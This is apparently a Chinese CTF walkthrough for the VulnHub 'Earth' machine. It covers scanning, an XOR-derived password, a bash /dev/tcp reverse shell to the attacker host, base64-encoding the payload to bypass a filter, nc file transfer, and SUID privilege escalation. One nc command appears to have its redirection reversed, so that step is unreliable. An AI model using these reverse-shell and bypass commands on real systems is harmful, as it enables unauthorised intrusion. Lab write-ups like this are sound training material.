靶场链接:https://www.vulnhub.com/entry/the-planets-earth,755/
Name: The Planets: Earth
Date release: 2 Nov 2021
Author: SirFlash
Series: The Planets
靶机下载后,成功导入vm
kali网络配置:NAT
靶机网络配置:NAT
扫描ip地址和mac地址
arp-scan -l
kali主机ip:192.168.241.129
靶机主机ip:192.168.241.128
nmap扫描靶机端口
nmap -T4 -sV -p- -A 192.168.241.128
发现22,80,443端口,还有重要信息DNS:earth.local DNS:terratest.earth.local
修改/etc/hosts文件,添加
192.168.241.128 earth.local
192.168.241.128 terratest.earth.local
登录https://earth.local和https://terratest.earth.local
发现两个网址可以打开。
dirb扫描https://earth.local和https://terratest.earth.local
dirb https://earth.local
dirb https://terratest.earth.local
发现一个登录页面和robot.txt
尝试/testingnotes.*,最终发现.txt后缀可以成功进入
以上信息总结:
1.使用XOR运算
2.testdata.txt文件的内容参与过计算
3.terra是用户名
使用大佬的CyberChef,XOR运算得到循环的密码:earthclimatechangebad4humansearth
用户名terra,密码earthclimatechangebad4humansearth,成功登录,发现是命令台,尝试ls命令
官网提示:There are two flags on the box: a user and root flag which include an md5 hash.
所以系统里先寻找下flag文件,成功找到/var/earth_web/user_flag.txt
find / -name "*flag*"
接下来尝试反弹shell
kali先监听端口:nc -l -p 8888
靶机在网站中输入: bash -i &>/dev/tcp/192.168.241.129/8888 <&1
bash -i &>/dev/tcp/192.168.241.129/8888 <&1
发现被拒绝,尝试将上bash -i &>/dev/tcp/192.168.241.129/8888 <&1转为进行base64编码
echo "bash -i &>/dev/tcp/192.168.241.129/8888 <&1" | base64
echo YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMjQxLjEyOS84ODg4IDwmMQo= | base64 -d | bash
成功反弹shell,接下来就是提权了
尝试查看suid权限的文件,发现reset_root可能是重置密码文件
但尝试运行不了,gg
由于靶机中没有strace,把这个文件传到kali中
kali:nc -l -p 1234 > reset_root
靶机:nc 192.168.241.129 1234 > /usr/bin/reset_root
使用strace看看有什么问题
发现有三个文件目录没有,再去查查access函数作用,其中F_OK 值为0,判断文件是否存在,尝试在靶机中添加这个三个文件夹
再次运行密码成功重置为Earth
靶机尝试登录用户名root,密码Earth
成功登录,get flag